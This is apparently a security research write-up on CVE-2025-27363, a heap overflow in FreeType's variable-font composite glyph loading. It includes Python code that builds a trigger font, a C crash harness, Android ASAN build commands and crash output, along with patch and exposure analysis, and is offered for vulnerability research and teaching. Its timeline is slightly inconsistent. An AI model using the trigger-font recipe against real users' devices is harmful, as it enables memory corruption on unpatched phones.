TL;DR — A signed-short truncation in FreeType ≤ 2.13.0 turns a composite glyph's component count into −3, causing a one-slot heap allocation to receive four phantom-point writes. The vulnerability was actively exploited via WhatsApp PDF auto-preview before a patch existed — no user interaction required. We reproduced the crash on a real Samsung Galaxy S20+ and confirmed the heap-buffer-overflow with AddressSanitizer. Android 12 and below (~1 billion devices) will never receive the OS-level fix.

This article walks through the root cause, the complete WhatsApp attack path, ASAN-confirmed crash reproduction on real hardware, the Android and iOS exposure landscape, and what researchers can learn from this class of vulnerability.

Background: Why FreeType Is Everywhere

FreeType is the world's most widely deployed font rendering library. It converts raw font bytes — TrueType, OpenType, variable fonts — into the pixel shapes your screen displays. It ships inside Android (external/freetype → libft2.so), inside Chromium, inside PDFium, inside game engines, and inside virtually every PDF viewer ever written.

Because FreeType is invoked automatically whenever anything renders text, it runs in high-privilege contexts with no sandboxing and no permission prompt. A bug in FreeType isn't a bug in a user-facing feature — it's a bug in infrastructure that fires before the user does anything. That's what makes CVE-2025-27363 so dangerous in the wrong hands.

The Vulnerability

Variable Fonts and the GX_VAR Code Path

Variable fonts (TrueType GX format) allow a single font file to encode an entire design space across continuous axes. An application activates a point in that space by calling FT_Set_Var_Design_Coordinates(), or by loading the font as a named instance using the (1 << 16) | N face index trick.

When either happens, FreeType sets FT_IS_NAMED_INSTANCE() and activates the GX_VAR_SUPPORT code path inside load_truetype_glyph() in src/truetype/ttgload.c. This path allocates a buffer to hold the four phantom points that describe each glyph's advance width and sidebearings — and this is where the bug lives.

/* ttgload.c:1909 — the vulnerable allocation */
limit = (FT_Short)gloader->current.num_subglyphs;

if ( FT_NEW_ARRAY( points, limit + 4 ) )
    goto Exit;

points[i++] = loader->pp1;  /* index 0 — within bounds */
points[i++] = loader->pp2;  /* index 1 — OOB WRITE     */
points[i++] = loader->pp3;  /* index 2 — OOB WRITE     */
points[i  ] = loader->pp4;  /* index 3 — OOB WRITE     */

The Overflow

The trigger is a composite glyph declaring num_subglyphs = 0xFFFD (65,533 decimal). The cast to FT_Short — a signed 16-bit integer — silently wraps this to −3:

num_subglyphs = 65533              /* attacker-controlled value in the font file */

limit = (FT_Short)(65533)
      = (FT_Short)(0xFFFD)
      = -3                         ← signed-short overflow

FT_NEW_ARRAY(points, limit + 4)
           = FT_NEW_ARRAY(points, -3 + 4)
           = FT_NEW_ARRAY(points,  1)   ← allocates ONE FT_Vector = 16 bytes

points[0] = loader->pp1  →  OK           (within the 1-slot allocation)
points[1] = loader->pp2  →  OOB WRITE   (+16 bytes past end)
points[2] = loader->pp3  →  OOB WRITE   (+32 bytes past end)
points[3] = loader->pp4  →  OOB WRITE   (+48 bytes past end)

Three FT_Vector structures are written past the end of a one-element heap allocation. The content of pp2, pp3, and pp4 is derived from font-file data — giving the attacker control over the values written to adjacent heap memory.

Three trigger conditions must be true simultaneously:

ConditionHow the attacker satisfies it
TT_CONFIG_OPTION_GX_VAR_SUPPORT compiled inDefault in every major build — no action needed
Face loaded as a variable fontInclude an fvar table in the font
num_subglyphs = 0xFFFD in a composite glyphWrite 0xFFFD as the component count in the glyf table

The Attack Path: From WhatsApp Message to Heap Corruption

This vulnerability was actively exploited in the wild via WhatsApp before any public patch existed. The delivery mechanism requires no victim interaction beyond receiving a message.

Confirmed zero-click exploit chain — used in the wild
Attacker adds victim to a WhatsApp group
No prior contact required. Group membership is forced unilaterally by the attacker — the victim does not need to accept an invitation.
Malicious PDF sent to the group zero-click
The PDF contains an embedded TrueType variable font with a composite glyph declaring num_subglyphs = 0xFFFD. To the victim it appears as an ordinary document. No download prompt. No tap.
PDF attachment └── embedded OTF/TTF font ├── fvar table (activates GX_VAR path) └── glyf table → glyph[2]: composite, num_subglyphs = 0xFFFD
WhatsApp auto-generates a PDF preview thumbnail
WhatsApp renders a preview of incoming PDF attachments automatically on receipt — standard group-chat behaviour. The preview pipeline calls FreeType to rasterize the embedded font. The victim has not tapped anything.
FreeType fires the OOB write at ttgload.c:1929
The GX_VAR path activates. The signed-short truncation turns 65,533 into −3. FT_NEW_ARRAY(points, 1) allocates 16 bytes. Three phantom-point writes land 16, 32, and 48 bytes past the end of the allocation — in adjacent heap memory controlled by the attacker's font data.
limit = (FT_Short)(0xFFFD) = -3 FT_NEW_ARRAY(points, 1) → 16 bytes allocated points[1] = pp2 → WRITE at heap+16 ← OOB points[2] = pp3 → WRITE at heap+32 ← OOB points[3] = pp4 → WRITE at heap+48 ← OOB
Heap corruption → RCE inside the WhatsApp process
The controlled OOB write corrupts adjacent heap metadata or object pointers, achieving remote code execution within the WhatsApp sandbox. A second-stage exploit (separate vulnerability) escalates privilege and breaks the Android process isolation boundary.
Full device compromise
Post-escalation, the implant gains access to all on-device messaging apps, encrypted communications, microphone, camera, location, and stored credentials. Forensic artifact BIGPRETZEL appears in Android system logs on infected devices.

Used in the Wild

Meta's WhatsApp security team discovered this vulnerability on March 11, 2025 — not while auditing FreeType, but while investigating delivery channels used by commercial spyware operators. The vulnerability was already being actively exploited at the time of discovery.

90+
individuals targeted across 24 countries
8 wks
exploitation window before Android was patched
CISA KEV
added May 6, 2025 — federal deadline May 27

Targets included journalists, lawyers, and civil-society activists in Australia, Canada, Denmark, Italy, Cyprus, Singapore, and Israel. The campaign was disrupted server-side by WhatsApp in December 2024, but the underlying Android vulnerability remained unpatched until May 2025 — eight weeks after public disclosure.

Same weapon-pattern as Operation Triangulation. The Triangulation chain (CVE-2023-41990) weaponised an undocumented TrueType ADJUST font instruction embedded inside an iMessage .watchface attachment, triggering auto-parsing with zero user interaction. CVE-2025-27363 is the structurally identical Android counterpart: a font-feature bug delivered inside an auto-processed document attachment.

Impact

  • CVSS 3.1: 8.1 HIGH — AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
  • CISA KEV — added May 6, 2025, federal remediation deadline May 27, 2025
  • Actively exploited before public disclosure — ~8-week exploitation window
  • Zero user interaction required — PDF preview fires automatically on message receipt
  • ~1 billion devices permanently unpatched — Android 12 and below reached EOL before the fix landed

Reproducing the Crash

Crafting the Trigger Font

We built cve_2025_27363_v2.ttf — a 393 KB variable font satisfying all three trigger conditions:

TableContent
fvarOne axis (wght, 100–900), one named instance at weight 400. Activates the GX_VAR code path.
cmapFormat 4. Maps U+0025 (%) → glyph 2; U+0020 (space) → glyph 1
glyfGlyphs 0, 1: empty. Glyph 2: composite with 65,533 components, all referencing glyph 1
hhea, OS/2, head, post, locaMinimal valid values
# Writing the composite glyph with 0xFFFD components
NUM_COMPONENTS = 0xFFFD  # (FT_Short)(0xFFFD) = -3

glyf_data = struct.pack(">h", -1)   # numberOfContours = -1 → composite glyph
for i in range(NUM_COMPONENTS):
    flags = 0x0002                  # ARGS_ARE_XY_VALUES
    glyf_data += struct.pack(">HHbb", flags, 1, 0, 0)  # ref glyph 1, offset (0,0)

Loading as a named instance activates the GX_VAR path, which fires the bug on the first FT_Load_Glyph call:

/* cve_27363_crash.c */
FT_Long face_index = (1L << 16) | 0L;   /* named instance 0 → sets FT_IS_NAMED_INSTANCE */
err = FT_New_Face(lib, font_path, face_index, &face);

/* Fallback: same effect via FT_Set_Var_Design_Coordinates */
FT_Fixed coords[1] = { 400 * 65536 };
FT_Set_Var_Design_Coordinates(face, 1, coords);

/* This call triggers load_truetype_glyph → GX_VAR branch → OOB write */
err = FT_Load_Glyph(face, 2, FT_LOAD_DEFAULT);

Building the Harness

Local — macOS signal handler build

git clone --depth 1 --branch VER-2-13-0 \
    https://gitlab.freedesktop.org/freetype/freetype.git freetype-2.13.0
cd freetype-2.13.0 && mkdir build_release && cd build_release
cmake .. -DCMAKE_BUILD_TYPE=Release \
    -DFT_DISABLE_HARFBUZZ=ON -DFT_DISABLE_BROTLI=ON -DFT_DISABLE_PNG=ON
cmake --build . -j$(nproc)

clang -g -O0 -I/tmp/freetype-2.13.0/include \
    -o cve_27363_crash cve_27363_crash.c \
    /tmp/freetype-2.13.0/build_release/libfreetype.a -lm -lz

./cve_27363_crash cve_2025_27363_v2.ttf

Android ARM64 — ASAN cross-compile (NDK r27c)

NDK=/tmp/android-ndk-r27c
TC=$NDK/toolchains/llvm/prebuilt/darwin-x86_64

# Build FreeType 2.13.0 for ARM64 with ASAN
cmake -S /tmp/freetype-2.13.0 -B /tmp/freetype-2.13.0/build_android_asan \
    -DCMAKE_TOOLCHAIN_FILE=$NDK/build/cmake/android.toolchain.cmake \
    -DANDROID_ABI=arm64-v8a -DANDROID_PLATFORM=android-31 \
    -DCMAKE_BUILD_TYPE=RelWithDebInfo \
    -DCMAKE_C_FLAGS="-fsanitize=address -fno-omit-frame-pointer -g -O1" \
    -DFT_DISABLE_HARFBUZZ=ON -DFT_DISABLE_BROTLI=ON -DFT_DISABLE_PNG=ON
cmake --build /tmp/freetype-2.13.0/build_android_asan -j$(nproc)

# Build the harness binary
$TC/bin/aarch64-linux-android31-clang \
    -fsanitize=address -static-libsan -g -O1 \
    -I/tmp/freetype-2.13.0/include \
    -o cve_27363_asan_android cve_27363_crash.c \
    /tmp/freetype-2.13.0/build_android_asan/libfreetype.a -lm -lz

# Push and run on device
adb push cve_27363_asan_android cve_2025_27363_v2.ttf /data/local/tmp/
adb shell "cd /data/local/tmp && \
    ASAN_OPTIONS=log_path=/data/local/tmp/asan_ft.log:abort_on_error=1 \
    ./cve_27363_asan_android cve_2025_27363_v2.ttf"
adb pull /data/local/tmp/asan_ft.log.21042 asan_ft.log

The Crash

Local binary — SIGSEGV output

=== CVE-2025-27363  FreeType ≤2.13.0  composite phantom-point OOB ===
Font: cve_2025_27363_v2.ttf

--- overflow math ---
  num_subglyphs              = 65533 (0xFFFD)
  limit = (FT_Short)(N)      = -3  ← signed-short overflow!
  FT_NEW_ARRAY(points, N+4)  = FT_NEW_ARRAY(points, 1)
  Allocates 1 FT_Vector      = 16 bytes
  Writes pp1 at points[0]    → OK  (within bounds)
  Writes pp2 at points[1]    → OOB WRITE (+16 bytes past alloc)
  Writes pp3 at points[2]    → OOB WRITE (+32)
  Writes pp4 at points[3]    → OOB WRITE (+48)
------------------------------------

Face loaded: cve_2025_27363_v2.ttf  (num_faces=1, num_glyphs=3)
Is named instance: YES
GX_VAR path will activate: YES ← bug fires

[*] Loading glyph index 2 (trigger composite — 65,533 subglyphs)...

[!] Signal caught — heap OOB write confirmed
    FT_NEW_ARRAY(points,1) then wrote pp2/pp3/pp4 at indices 1-3.

Samsung Galaxy S20+ (Android 12) — AddressSanitizer report

==21042==ERROR: AddressSanitizer: heap-buffer-overflow on address
0x005f65110200 at pc 0x005d8a76dfa4 bp 0x007fd1c03120 sp 0x007fd1c02910

WRITE of size 16 at 0x005f65110200 thread T0
    #0  __asan_memcpy              asan_interceptors_memintrinsics.cpp:63
    #1  load_truetype_glyph        ttgload.c:1929
    #2  TT_Load_Glyph              ttdriver.c:484
    #3  FT_Load_Glyph              ftobjs.c:1065
    #4  af_loader_load_glyph       afloader.c:339
    #5  main                       cve_27363_crash.c:131

0x005f65110200 is located 0 bytes after 16-byte region
[0x005f651101f0, 0x005f65110200)

allocated by thread T0:
    #0  __interceptor_malloc
    #1  ft_mem_realloc             ftutil.c:101
    #2  load_truetype_glyph        ttgload.c:1909  ← FT_NEW_ARRAY(points, 1)

Shadow bytes around the buggy address:
  0x005f65110100: fa fa 00 fa fa fa 00 fa fa fa 00 06 fa fa 00 fa
  0x005f65110180: fa fa 00 fa fa fa fd fa fa fa 00 fa fa fa 00 00
=>0x005f65110200:[fa]fa 01 fa fa fa 02 fa fa fa 00 00 fa fa fa fa
                  ^^^
                  [fa] = heap left redzone — first byte past allocation

==21042==ABORTING

The [fa] shadow byte marks ASAN's heap left redzone — the first byte past the allocated region. The write lands precisely 0 bytes after the 16-byte FT_NEW_ARRAY(points, 1) allocation made at ttgload.c:1909.

Android Attack Surface

FreeType on Android ships as libft2.so — an LLNDK-stable library consumed by multiple system components. Any process that renders text from a variable font traverses this path:

Android Font Stack — Path to the Bug

FontVariationAxis Java API  (Android O / API 26+)
    ↓
Font.Builder.setFontVariationSettings()
    ↓
Minikin native layer  →  FontFamily.cpp  →  createFontWithVariation()
    ↓
HbFontCache.cpp  →  hb_font_set_variations()  →  HarfBuzz
    ↓
FreeType  →  FT_Set_Var_Design_Coordinates()
    ↓
FT_Load_Glyph()  →  load_truetype_glyph()
    ↓  BUG FIRES HERE
ttgload.c:1929  —  OOB write of phantom points pp2, pp3, pp4

Key high-value system targets:

  • Zygote — preloads all system fonts before forking any app process. A compromised font parsed in Zygote propagates to every child process via copy-on-write
  • system_server — hosts FontManagerService, renders all system UI through libhwui → libminikin → libft2
  • PDFium (external/pdfium) — processes PDF embedded fonts through libft2.so — the exact delivery channel used in the wild
  • Every app process — libhwui.so links libft2.so; CFI was absent from libhwui in multiple Android versions, making it a high-value ROP gadget source

Patch Status by Android Version

VersionEOL DateCVE-2025-27363
Android 15Active✓ Patched — May 2025, patch level 2025-05-05
Android 14Active✓ Patched — May 2025, patch level 2025-05-05
Android 13March 2026✓ Patched before EOL
Android 12 / 12LMarch 31, 2025✗ Permanently unpatched — EOL 35 days before fix
Android 11February 2024✗ Permanently unpatched — EOL 15 months before fix
Android 10March 2023✗ Permanently unpatched — EOL 2+ years before fix

FreeType is not a Project Mainline module — there is no Google Play System Update delivery path for EOL devices. The only fix for Android 12 and below is a full OTA from the OEM, which will never come. Samsung ended Galaxy S20 series security support in April 2025 with its last patch dated March 2025 — one month before the FreeType fix landed.

~1 billion devices permanently unpatched. Android 12 and below accounts for roughly 33–35% of active Android devices. Including Android 13 (EOL March 2026), over 47% of all Android devices are now outside Google's official security coverage for this CVE.

iOS: Not Immune

Apple's system stack is CoreText + CoreGraphics — no FreeType at the OS level. iOS Safari and all App Store browsers use WebKit with CoreText, making them structurally immune. But third-party apps that bundle their own FreeType are independently exposed.

Unity iOS Games

Unity statically compiles FreeType into every iOS build inside UnityFramework.framework. Unity 2021.3.x ships FreeType 2.12.1 — older than the vulnerable 2.13.0 and equally unpatched, with no fix planned at EOL.

Unity VersionBundled FreeTypeStatus
2021.3.x (EOL)2.12.1✗ Vulnerable — no patch planned
2022.3 < 62f1≤ 2.13.0✗ Vulnerable
2022.3.62f1+2.13.3✓ Patched
6000.0.47f1+2.13.3✓ Patched
Flutter on iOS is not affected by CVE-2025-27363. Flutter's Skia delegates font rasterization to CoreGraphics on iOS — the vulnerable FreeType code path is never reached. However, Flutter bundles its own HarfBuzz and remains exposed to the separate AIKIDO-2026-10356 integer overflow, covered in our next post.

Confirming the Fix

FreeType 2.13.1 adds a bounds check before the allocation using the safe FT_QNEW_ARRAY macro — no signed-short truncation:

/* ttgload.c — patched (FreeType ≥ 2.13.1) */
n_points = (FT_UInt)gloader->current.outline.n_points;
if ( n_points > FT_OUTLINE_POINTS_MAX - 4 )
{
    error = FT_THROW( Array_Too_Large );
    goto Exit;
}
if ( FT_QNEW_ARRAY( points, n_points + 4 ) )   /* safe — no truncation */
    goto Exit;

Running the same harness and font against FreeType 2.13.1+ returns cleanly:

./cve_27363_patched cve_2025_27363_v2.ttf
# [?] FT_Load_Glyph returned without crash (err=0). Patched build confirmed safe.

Lessons for Security Researchers

1. Signed/Unsigned Truncation in Size Calculations Is a Gold Mine

The pattern — casting an unsigned file-controlled value to a signed type and using the result as an allocation size — appears constantly in legacy C parsers. (FT_Short)(0xFFFD) = -3 is the same bug class as dozens of other CVEs. Any time you see (short) or (int16_t) on a value read from file data, test what happens near 0x8000 and 0xFFFF.

2. The Allocation Site and the Write Site Are Different Lines

FT_NEW_ARRAY(points, 1) is at ttgload.c:1909. The writes are at ttgload.c:1929 — 20 lines later, with no size check. ASAN surfaces both in its report. Reading both in context is how you reconstruct the full path in minutes.

3. Variable Fonts Massively Expand Attack Surface

The GX_VAR code path only activates when a font is loaded with variation settings — a single fvar table is enough to turn it on. Every application accepting font-variation-settings CSS or Font.Builder.setFontVariationSettings() is now running code that wasn't reached before. New features equal new attack surface.

4. Zero-Click Is About the Trigger Context, Not the Vulnerability Class

This becomes zero-click because FreeType is called automatically in PDF preview pipelines — not because of anything special about the OOB write itself. The same bug in a context requiring explicit font installation would be a local vulnerability. Always ask: what is the highest-privilege, least-interaction path to this code?

5. "Patched at the OS Level" Doesn't Mean "Patched"

Android 12 received its last security patch in March 2025. The FreeType fix landed in May 2025. A 35-day gap created a permanent, unfixable vulnerability window for ~1 billion devices. EOL device share matters as much as patch availability date when assessing real-world exposure.

Try It Yourself

If you want to build crash harnesses, analyse patch diffs, and reproduce real-world CVEs like this from scratch, these courses take you through the full methodology:

  • Android Fuzzing & Exploitation — harness design, ASAN integration, NDK cross-compilation, crash triage on real devices
  • iOS Userland Fuzzing & Exploitation — the same workflow applied to iOS targets and cross-compiled harnesses
  • ARM64 & LLDB for iOS (free) — the starter course for the iOS Userland path: ARM64 assembly, LLDB debugging, and binary analysis on real devices

Hands-on hacking labs: mobilehackinglab.com/hacking-labs

References

  • NVD: CVE-2025-27363
  • Android Security Bulletin — May 2025
  • CISA Known Exploited Vulnerabilities — CVE-2025-27363
  • FreeType 2.13.1 release and fix commits
  • Meta/WhatsApp security advisory — March 2025 (SecurityWeek)
  • Citizen Lab — Graphite spyware attribution
  • Unity 6000.0.47f1 release notes — FreeType 2.13.3

This research was conducted for educational purposes. All testing was performed against locally compiled vulnerable binaries and our own crafted fonts on a device under our control. No production systems or third-party infrastructure were targeted.